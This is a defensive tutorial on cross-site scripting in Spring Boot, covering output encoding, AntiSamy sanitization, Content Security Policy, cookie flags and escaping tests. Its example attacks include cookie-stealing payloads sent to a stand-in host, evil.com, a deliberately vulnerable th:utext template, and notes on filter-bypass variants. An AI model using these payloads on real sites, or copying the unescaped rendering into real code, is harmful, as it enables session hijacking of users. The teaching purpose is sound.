XSS: Attacks and Prevention in Spring Boot Applications
1. Overview
XSS (Cross-Site Scripting) is one of the most common web vulnerabilities, and has been in the OWASP Top 10 for many years. This article helps you understand the three common types of XSS, walk through real attack examples, and apply defense techniques like output encoding, Content Security Policy (CSP), and HTTP header configuration in Spring Boot. After reading, you’ll know how to audit and patch XSS vulnerabilities in your own applications.
2. What is XSS?
XSS occurs when a web application allows an attacker to inject malicious JavaScript code into a page, which the victim’s browser then executes as if it’s a legitimate part of the website. The consequences: stealing cookies/sessions, impersonating user actions, redirecting to phishing pages.
There are 3 main types of XSS:
- Reflected XSS: the payload is in the request (query string, form), and the server reflects it back immediately without filtering.
- Stored XSS: the payload is saved to the database (e.g., comments, bio), then displayed to everyone who visits — more dangerous because it affects many users.
- DOM-based XSS: the payload doesn’t go through the server; instead, client-side JavaScript reads unsafe data (URL, localStorage) and writes directly to the DOM.
3. Example: Reflected XSS Attack
Suppose you have a simple search endpoint that displays back the keyword the user entered:
@Controller
public class SearchController {
@GetMapping("/search")
public String search(@RequestParam String keyword, Model model) {
model.addAttribute("keyword", keyword);
return "search-result";
}
}
Template Thymeleaf using th:utext (unescaped text) to display:
<p>Search results for: <span th:utext="${keyword}"></span></p>
The attacker sends this link to the victim:
https://shop.example.com/search?keyword=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
When the victim clicks, the browser executes the script and sends the victim’s cookies to evil.com. Root cause: th:utext renders raw HTML without encoding special characters.
Note: Only use
th:utextwhen you are 100% certain the content is trusted HTML (e.g., written by an admin through a sanitizing rich-text editor). By default, always useth:text.
4. Example: Stored XSS Attack
Stored XSS is more dangerous because the payload persists in the system for a long time. Here’s an example with a comment feature:
@Entity
public class Comment {
@Id @GeneratedValue
private Long id;
private String content;
private String authorName;
// getters, setters
}
@PostMapping("/comments")
public String addComment(@RequestParam String content, @RequestParam String authorName) {
Comment comment = new Comment();
comment.setContent(content);
comment.setAuthorName(authorName);
commentRepository.save(comment);
return "redirect:/comments";
}
The attacker sends a comment with this content:
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
If the page displays the comment with direct HTML rendering (no encoding), everyone viewing the comment page gets their cookies stolen — no link clicking needed.
5. Defense through Output Encoding
Golden rule: encode data in the correct context when outputting, not at input time. With HTML context, Thymeleaf escapes by default when using th:text:
<!-- Safe: auto-escaped -->
<p th:text="${comment.content}"></p>
Output comparison:
Input: <script>alert('XSS')</script>
Output (th:text): <script>alert('XSS')</script>
Output (th:utext): <script>alert('XSS')</script> <!-- DANGEROUS -->
With th:text, the browser displays the literal string without executing the script. This is the first and most important layer of defense.
5.1. Encoding for Different Contexts
Not every output location uses HTML encoding. For example, when inserting values into JavaScript attributes or URLs, you need different encoding:
<!-- Context: HTML attribute -->
<a th:href="@{/profile(id=${user.id})}">View profile</a>
<!-- Context: JavaScript string - NEVER do this -->
<script>
var username = '[[${user.name}]]'; // dangerous if name contains '); alert(1); //
</script>
If you must pass data from the server into a script, encode it as JSON and place it in a data-* attribute:
<div id="user-data" th:data-name="${user.name}"></div>
<script>
const name = document.getElementById('user-data').dataset.name;
</script>
This avoids concatenating directly into JavaScript literals — the source of many DOM-based XSS vulnerabilities.
6. Sanitizing HTML for Rich Text Content
There are legitimate cases where you need to store HTML (e.g., blog posts with bold, italic, links). In such cases, you can’t encode everything; instead, you need to whitelist safe tags/attributes using a sanitization library.
<dependency>
<groupId>org.owasp.antisamy</groupId>
<artifactId>antisamy</artifactId>
<version>1.7.4</version>
</dependency>
@Service
public class HtmlSanitizerService {
private final Policy policy;
public HtmlSanitizerService() throws PolicyException {
this.policy = Policy.getInstance(getClass().getResourceAsStream("/antisamy-policy.xml"));
}
public String sanitize(String rawHtml) throws ScanException, PolicyException {
AntiSamy antiSamy = new AntiSamy();
CleanResults results = antiSamy.scan(rawHtml, policy);
return results.getCleanHTML();
}
}
The antisamy-policy.xml file defines the tag whitelist (<b>, <i>, <a> with href only allowing http/https…). Any tags/attributes not in the whitelist (like <script>, onerror) are completely removed before saving to the database.
Quick test of sanitization behavior:
@Test
void sanitize_shouldRemoveScriptTag_butKeepSafeFormatting() throws Exception {
HtmlSanitizerService sanitizer = new HtmlSanitizerService();
String dirty = "<p>Hello <b>world</b></p><script>alert(1)</script>";
String clean = sanitizer.sanitize(dirty);
assertThat(clean)
.contains("<p>Hello <b>world</b></p>")
.doesNotContain("<script>");
}
Note: Sanitization should happen at both input (before saving to DB, preventing payload leakage through other APIs) and output (before rendering) for multiple layers of defense (defense in depth).
7. Content Security Policy (CSP)
CSP is the second defense layer, restricting the browser to run scripts only from trusted sources, even if XSS payload gets past encoding/sanitization.
@Configuration
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http.headers(headers -> headers
.contentSecurityPolicy(csp -> csp
.policyDirectives(
"default-src 'self'; " +
"script-src 'self'; " +
"style-src 'self' 'unsafe-inline'; " +
"object-src 'none'; " +
"base-uri 'self';"
)
)
);
return http.build();
}
}
Explanation of the directives:
default-src 'self': by default, load resources only from the same origin.script-src 'self': run scripts only from your domain — completely blocks inline scripts (<script>alert(1)</script>is rejected by the browser, regardless of validity).object-src 'none': blocks Flash/plugins, legacy attack vectors but still present.
Corresponding response header:
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none'; base-uri 'self';
When an attacker’s <img src=x onerror="..."> gets past sanitization, CSP with script-src 'self' blocks the inline event handler (onerror) from executing, since it’s treated as an inline script.
7.1. Testing CSP Without Breaking the UI
Before enabling strict CSP in production, use report-only mode to monitor violations without blocking:
headers.contentSecurityPolicy(csp -> csp
.policyDirectives("default-src 'self'; script-src 'self'")
.reportOnly()
);
The browser only logs warnings to the console (and sends a report if report-uri is set), without blocking resources. Based on these logs, you can refine the policy before switching to actual enforcement.
8. Secure Cookies with HttpOnly and SameSite
Even if you’ve blocked XSS, you should have an additional defense layer: prevent scripts from reading session cookies to minimize damage if XSS still occurs.
server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.same-site=strict
http-only=true: JavaScript (document.cookie) cannot read this cookie — the cookie-stealing payload from section 3 will fail.secure=true: cookies are only sent over HTTPS.same-site=strict: cookies are not sent with requests from other domains, reducing CSRF combined with XSS risk.
9. Automated Testing for Basic XSS Detection
You can write integration tests to check whether endpoints properly escape output, preventing regression when code changes.
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
class SearchControllerXssTest {
@Autowired
private TestRestTemplate restTemplate;
@Test
void search_shouldEscapeScriptTag_inResponseBody() {
String payload = "<script>alert(1)</script>";
ResponseEntity<String> response = restTemplate.getForEntity(
"/search?keyword=" + payload, String.class);
assertThat(response.getBody())
.doesNotContain("<script>alert(1)</script>")
.contains("<script>");
}
}
This test sends a classic XSS payload and asserts that the response body does not contain the raw script tag — if it does, it means the template is incorrectly using th:utext.
10. Checklist of Common Mistakes
- Using
th:utext,innerHTML, orv-html(Vue) for user data without sanitizing. - Concatenating user data directly into
<script>blocks instead of usingdata-*attributes or safe JSON. - Encoding only at input (saving to DB) but forgetting to encode again at output — if you change the display context (e.g., CSV export, PDF rendering), “clean” data from the DB can still be dangerous in the new context.
- Enabling too permissive CSP (
script-src *or withunsafe-inline) makes CSP ineffective at blocking XSS. - Forgetting
HttpOnlyfor session cookies — XSS attackers can still steal cookies even with encoding elsewhere. - Trusting client-side validation (JavaScript) without validating/encoding again on the server — client-side is easy to bypass.
Note: Don’t write your own regex to “filter” HTML tags (e.g., removing
<script>with regex). Attackers always find ways to bypass (<ScRiPt>,<svg/onload=...>, Unicode encoding…). Use verified sanitization libraries like AntiSamy or OWASP Java HTML Sanitizer.
11. Conclusion
XSS isn’t a complex vulnerability, but it’s easy to miss because it hides in every place where user data is output. Effective prevention requires multiple layers: encode in the correct context when rendering (prefer th:text over th:utext), whitelist sanitization when you must allow rich HTML, enable CSP to block foreign scripts even if payload gets through, and set HttpOnly/Secure/SameSite for cookies to minimize damage if XSS still occurs. Write automated tests checking escaping for every endpoint that accepts user input — this is the cheapest way to prevent regression of this vulnerability when code changes.